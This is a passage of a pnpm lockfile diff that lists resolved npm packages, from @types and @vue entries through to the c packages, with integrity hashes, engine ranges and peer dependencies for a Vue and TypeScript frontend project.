sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==} + + '@types/uuid@11.0.0': + resolution: {integrity: sha512-HVyk8nj2m+jcFRNazzqyVKiZezyhDKrGUA3jlEcg/nZ6Ms+qHwocba1Y/AaVaznJTAM9xpdFSh+ptbNrhOGvZA==} + deprecated: This is a stub types definition. uuid provides its own type definitions, so you do not need this installed. + + '@types/yauzl@2.10.3': + resolution: {integrity: sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==} + + '@typescript-eslint/eslint-plugin@5.62.0': + resolution: {integrity: sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + '@typescript-eslint/parser': ^5.0.0 + eslint: ^6.0.0 || ^7.0.0 || ^8.0.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/parser@5.62.0': + resolution: {integrity: sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || ^8.0.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/scope-manager@5.62.0': + resolution: {integrity: sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + '@typescript-eslint/type-utils@5.62.0': + resolution: {integrity: sha512-xsSQreu+VnfbqQpW5vnCJdq1Z3Q0U31qiWmRhr98ONQmcp/yhiPJFPq8MXiJVLiksmOKSjIldZzkebzHuCGzew==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: '*' + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/types@5.62.0': + resolution: {integrity: sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + '@typescript-eslint/typescript-estree@5.62.0': + resolution: {integrity: sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@typescript-eslint/utils@5.62.0': + resolution: {integrity: sha512-n8oxjeb5aIbPFEtmQxQYOLI0i9n5ySBEY/ZEHHZqKQSFnxio1rv6dthascc9dLuwrL0RC5mPCxB7vnAVGAYWAQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || ^8.0.0 + + '@typescript-eslint/visitor-keys@5.62.0': + resolution: {integrity: sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + '@ungap/structured-clone@1.2.0': + resolution: {integrity: sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==} + + '@vitejs/plugin-vue@4.6.2': + resolution: {integrity: sha512-kqf7SGFoG+80aZG6Pf+gsZIVvGSCKE98JbiWqcCV9cThtg91Jav0yvYFC9Zb+jKetNGF6ZKeoaxgZfND21fWKw==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + vite: ^4.0.0 || ^5.0.0 + vue: ^3.2.25 + + '@volar/language-core@1.11.1': + resolution: {integrity: sha512-dOcNn3i9GgZAcJt43wuaEykSluAuOkQgzni1cuxLxTV0nJKanQztp7FxyswdRILaKH+P2XZMPRp2S4MV/pElCw==} + + '@volar/source-map@1.11.1': + resolution: {integrity: sha512-hJnOnwZ4+WT5iupLRnuzbULZ42L7BWWPMmruzwtLhJfpDVoZLjNBxHDi2sY2bgZXCKlpU5XcsMFoYrsQmPhfZg==} + + '@volar/typescript@1.11.1': + resolution: {integrity: sha512-iU+t2mas/4lYierSnoFOeRFQUhAEMgsFuQxoxvwn5EdQopw43j+J27a4lt9LMInx1gLJBC6qL14WYGlgymaSMQ==} + + '@vue/compiler-core@3.5.3': + resolution: {integrity: sha512-adAfy9boPkP233NTyvLbGEqVuIfK/R0ZsBsIOW4BZNfb4BRpRW41Do1u+ozJpsb+mdoy80O20IzAsHaihRb5qA==} + + '@vue/compiler-dom@3.5.3': + resolution: {integrity: sha512-wnzFArg9zpvk/811CDOZOadJRugf1Bgl/TQ3RfV4nKfSPok4hi0w10ziYUQR6LnnBAUlEXYLUfZ71Oj9ds/+QA==} + + '@vue/compiler-sfc@3.5.3': + resolution: {integrity: sha512-P3uATLny2tfyvMB04OQFe7Sczteno7SLFxwrOA/dw01pBWQHB5HL15a8PosoNX2aG/EAMGqnXTu+1LnmzFhpTQ==} + + '@vue/compiler-ssr@3.5.3': + resolution: {integrity: sha512-F/5f+r2WzL/2YAPl7UlKcJWHrvoZN8XwEBLnT7S4BXwncH25iDOabhO2M2DWioyTguJAGavDOawejkFXj8EM1w==} + + '@vue/devtools-api@6.6.3': + resolution: {integrity: sha512-0MiMsFma/HqA6g3KLKn+AGpL1kgKhFWszC9U29NfpWK5LE7bjeXxySWJrOJ77hBz+TBrBQ7o4QJqbPbqbs8rJw==} + + '@vue/eslint-config-prettier@7.1.0': + resolution: {integrity: sha512-Pv/lVr0bAzSIHLd9iz0KnvAr4GKyCEl+h52bc4e5yWuDVtLgFwycF7nrbWTAQAS+FU6q1geVd07lc6EWfJiWKQ==} + peerDependencies: + eslint: '>= 7.28.0' + prettier: '>= 2.0.0' + + '@vue/eslint-config-typescript@11.0.3': + resolution: {integrity: sha512-dkt6W0PX6H/4Xuxg/BlFj5xHvksjpSlVjtkQCpaYJBIEuKj2hOVU7r+TIe+ysCwRYFz/lGqvklntRkCAibsbPw==} + engines: {node: ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.2.0 || ^7.0.0 || ^8.0.0 + eslint-plugin-vue: ^9.0.0 + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@vue/language-core@1.8.27': + resolution: {integrity: sha512-L8Kc27VdQserNaCUNiSFdDl9LWT24ly8Hpwf1ECy3aFb9m6bDhBGQYOujDm21N7EW3moKIOKEanQwe1q5BK+mA==} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + '@vue/reactivity@3.5.3': + resolution: {integrity: sha512-2w61UnRWTP7+rj1H/j6FH706gRBHdFVpIqEkSDAyIpafBXYH8xt4gttstbbCWdU3OlcSWO8/3mbKl/93/HSMpw==} + + '@vue/runtime-core@3.5.3': + resolution: {integrity: sha512-5b2AQw5OZlmCzSsSBWYoZOsy75N4UdMWenTfDdI5bAzXnuVR7iR8Q4AOzQm2OGoA41xjk53VQKrqQhOz2ktWaw==} + + '@vue/runtime-dom@3.5.3': + resolution: {integrity: sha512-wPR1DEGc3XnQ7yHbmkTt3GoY0cEnVGQnARRdAkDzZ8MbUKEs26gogCQo6AOvvgahfjIcnvWJzkZArQ1fmWjcSg==} + + '@vue/server-renderer@3.5.3': + resolution: {integrity: sha512-28volmaZVG2PGO3V3+gBPKoSHvLlE8FGfG/GKXKkjjfxLuj/50B/0OQGakM/g6ehQeqCrZYM4eHC4Ks48eig1Q==} + peerDependencies: + vue: 3.5.3 + + '@vue/shared@3.5.3': + resolution: {integrity: sha512-Jp2v8nylKBT+PlOUjun2Wp/f++TfJVFjshLzNtJDdmFJabJa7noGMncqXRM1vXGX+Yo2V7WykQFNxusSim8SCA==} + + '@vue/test-utils@2.4.6': + resolution: {integrity: sha512-FMxEjOpYNYiFe0GkaHsnJPXFHxQ6m4t8vI/ElPGpMWxZKpmRvQ33OIrvRXemy6yha03RxhOlQuy+gZMC3CQSow==} + + '@vue/tsconfig@0.1.3': + resolution: {integrity: sha512-kQVsh8yyWPvHpb8gIc9l/HIDiiVUy1amynLNpCy8p+FoCiZXCo6fQos5/097MmnNZc9AtseDsCrfkhqCrJ8Olg==} + peerDependencies: + '@types/node': '*' + peerDependenciesMeta: + '@types/node': + optional: true + + abab@2.0.6: + resolution: {integrity: sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==} + deprecated: Use your platform's native atob() and btoa() methods instead + + abbrev@2.0.0: + resolution: {integrity: sha512-6/mh1E2u2YgEsCHdY0Yx5oW+61gZU+1vXaoiHHrpKeuRNNgFvS+/jrwHiQhB5apAf5oB7UB7E19ol2R2LKH8hQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + abort-controller@3.0.0: + resolution: {integrity: sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==} + engines: {node: '>=6.5'} + + acorn-globals@7.0.1: + resolution: {integrity: sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q==} + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn-walk@8.3.3: + resolution: {integrity: sha512-MxXdReSRhGO7VlFe1bRG/oI7/mdLV9B9JJT0N8vZOhF7gFRR5l3M8W9G8JxmKV+JC5mGqJ0QvqfSOLsCPa4nUw==} + engines: {node: '>=0.4.0'} + + acorn@8.12.1: + resolution: {integrity: sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==} + engines: {node: '>=0.4.0'} + hasBin: true + + agent-base@6.0.2: + resolution: {integrity: sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==} + engines: {node: '>= 6.0.0'} + + aggregate-error@3.1.0: + resolution: {integrity: sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==} + engines: {node: '>=8'} + + ajv@6.12.6: + resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} + + ansi-colors@4.1.3: + resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==} + engines: {node: '>=6'} + + ansi-escapes@4.3.2: + resolution: {integrity: sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==} + engines: {node: '>=8'} + + ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + + ansi-regex@6.0.1: + resolution: {integrity: sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==} + engines: {node: '>=12'} + + ansi-styles@3.2.1: + resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} + engines: {node: '>=4'} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + ansi-styles@6.2.1: + resolution: {integrity: sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==} + engines: {node: '>=12'} + + arch@2.2.0: + resolution: {integrity: sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==} + + archiver-utils@5.0.2: + resolution: {integrity: sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==} + engines: {node: '>= 14'} + + archiver@7.0.1: + resolution: {integrity: sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==} + engines: {node: '>= 14'} + + arg@5.0.2: + resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + array-buffer-byte-length@1.0.1: + resolution: {integrity: sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==} + engines: {node: '>= 0.4'} + + array-union@2.1.0: + resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} + engines: {node: '>=8'} + + arraybuffer.prototype.slice@1.0.3: + resolution: {integrity: sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==} + engines: {node: '>= 0.4'} + + asn1@0.2.6: + resolution: {integrity: sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==} + + assert-plus@1.0.0: + resolution: {integrity: sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==} + engines: {node: '>=0.8'} + + assertion-error@1.1.0: + resolution: {integrity: sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==} + + astral-regex@2.0.0: + resolution: {integrity: sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==} + engines: {node: '>=8'} + + async@3.2.6: + resolution: {integrity: sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==} + + asynckit@0.4.0: + resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} + + at-least-node@1.0.0: + resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==} + engines: {node: '>= 4.0.0'} + + available-typed-arrays@1.0.7: + resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} + engines: {node: '>= 0.4'} + + aws-sign2@0.7.0: + resolution: {integrity: sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==} + + aws4@1.13.2: + resolution: {integrity: sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==} + + axios@0.27.2: + resolution: {integrity: sha512-t+yRIyySRTp/wua5xEr+z1q60QmLq8ABsS5O9Me1AsE5dfKqgnCFzwiCZZ/cGNd1lq4/7akDWMxdhVlucjmnOQ==} + + axios@1.7.7: + resolution: {integrity: sha512-S4kL7XrjgBmvdGut0sN3yJxqYzrDOnivkBiN0OFs6hLiUam3UPvswUo0kqGyhqUZGEOytHyumEdXsAkgCOUf3Q==} + + b4a@1.6.7: + resolution: {integrity: sha512-OnAYlL5b7LEkALw87fUVafQw5rVR9RjwGd4KUwNQ6DrrNmaVaUCgLipfVlzrPQ4tWOR9P0IXGNOx50jYCCdSJg==} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + bare-events@2.5.0: + resolution: {integrity: sha512-/E8dDe9dsbLyh2qrZ64PEPadOQ0F4gbl1sUJOrmph7xOiIxfY8vwab/4bFLh4Y88/Hk/ujKcrQKc+ps0mv873A==} + + base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + + bcrypt-pbkdf@1.0.2: + resolution: {integrity: sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==} + + bezier-easing@2.1.0: + resolution: {integrity: sha512-gbIqZ/eslnUFC1tjEvtz0sgx+xTK20wDnYMIA27VA04R7w6xxXQPZDbibjA9DTWZRA2CXtwHykkVzlCaAJAZig==} + + blob-util@2.0.2: + resolution: {integrity: sha512-T7JQa+zsXXEa6/8ZhHcQEW1UFfVM49Ts65uBkFL6fz2QmrElqmbajIDJvuA0tEhRe5eIjpV9ZF+0RfZR9voJFQ==} + + bluebird@3.7.2: + resolution: {integrity: sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==} + + boolbase@1.0.0: + resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} + + bootstrap@5.3.3: + resolution: {integrity: sha512-8HLCdWgyoMguSO9o+aH+iuZ+aht+mzW0u3HIMzVu7Srrpv7EBBxTnrFlSCskwdY1+EOFQSm7uMJhNQHkdPcmjg==} + peerDependencies: + '@popperjs/core': ^2.11.8 + + brace-expansion@1.1.11: + resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} + + brace-expansion@2.0.1: + resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==} + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + buffer-crc32@0.2.13: + resolution: {integrity: sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==} + + buffer-crc32@1.0.0: + resolution: {integrity: sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==} + engines: {node: '>=8.0.0'} + + buffer@5.7.1: + resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} + + buffer@6.0.3: + resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==} + + cachedir@2.4.0: + resolution: {integrity: sha512-9EtFOZR8g22CL7BWjJ9BUx1+A/djkofnyW3aOXZORNW2kxoUpx2h+uN2cOqwPmFhnpVmxg+KW2OjOSgChTEvsQ==} + engines: {node: '>=6'} + + call-bind@1.0.7: + resolution: {integrity: sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + caseless@0.12.0: + resolution: {integrity: sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==} + + chai@4.5.0: + resolution: {integrity: sha512-RITGBfijLkBddZvnn8jdqoTypxvqbOLYQkGGxXzeFjVHvudaPw0HNFD9x928/eUwYWd2dPCugVqspGALTZZQKw==} + engines: {node: '>=4'} + + chalk@2.4.2: + resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==} + engines: {node: '>=4'} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + check-error@1.0.3: + resolution: {integrity: sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==} + + check-more-types@2.24.0: + resolution: {integrity: sha512-Pj779qHxV2tuapviy1bSZNEL1maXr13bPYpsvSDB68HlYcYuhlDrmGd63i0JHMCLKzc7rUSNIrpdJlhVlNwrxA==} + engines: {node: '>= 0.8.0'} + + ci-info@3.9.0: + resolution: {integrity: sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==} + engines: {node: '>=8'} + + clean-stack@2.2.0: + resolution: {integrity: sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==} + engines: {node: '>=6'} + + cli-cursor@3.1.0: + resolution: {integrity: sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==} + engines: {node: '>=8'} + + cli-table3@0.6.5: + resolution: {integrity: sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==} + engines: {node: 10.* || >= 12.*} + + cli-truncate@2.1.0: + resolution: {integrity: sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==} + engines: {node: '>=8'} + + color-convert@1.9.3: + resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.3: + resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + colorette@2.0.20: + resolution: {integrity: sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==} + + combined-stream@1.0.8: + resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} + engines: {node: '>= 0.8'} + + commander@10.0.1: + resolution: {integrity: sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==} + engines: {node: '>=14'} + + commander@6.2.1: + resolution: {integrity: sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==} + engines: {node: '>= 6'} + + common-tags@1.8.2: + resolution: {integrity: sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==} + engines: {node: '>=4.0.0'} + + compress-commons@6.0.2: + resolution: {integrity: sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==} + engines: {node: '>= 14'} + + computeds@0.0.1: + resolution: {integrity: sha512-7CEBgcMjVmitjYo5q8JTJVra6X5mQ20uTThdK+0kR7UEaDrAWEQcRiBtWJzga4eRpP6afNwwLsX2SET2JhVB1Q==} + + concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + + config-chain@1.1.13: + resolution: {integrity: sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==} + + core-util-is@1.0.2: + resolution: {integrity: sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==} + + crc-32@1.2.2: + resolution: {integrity: sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==} + engines: {node: '>=0.8'} + hasBin: true + + crc32-stream@6.0.0: + resolution: {integrity: sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==} + engines: {node: '>= 14'} + + cross-spawn@6.0.5: + resolution: {integrity: sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==} + engines: {node: '>=4.8'} + + cross-spawn@7.0.3: + resolution: {integrity: sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==} + engines: {node: '>= 8'} + + cssesc@3.0.0: + resolution: {integrity: 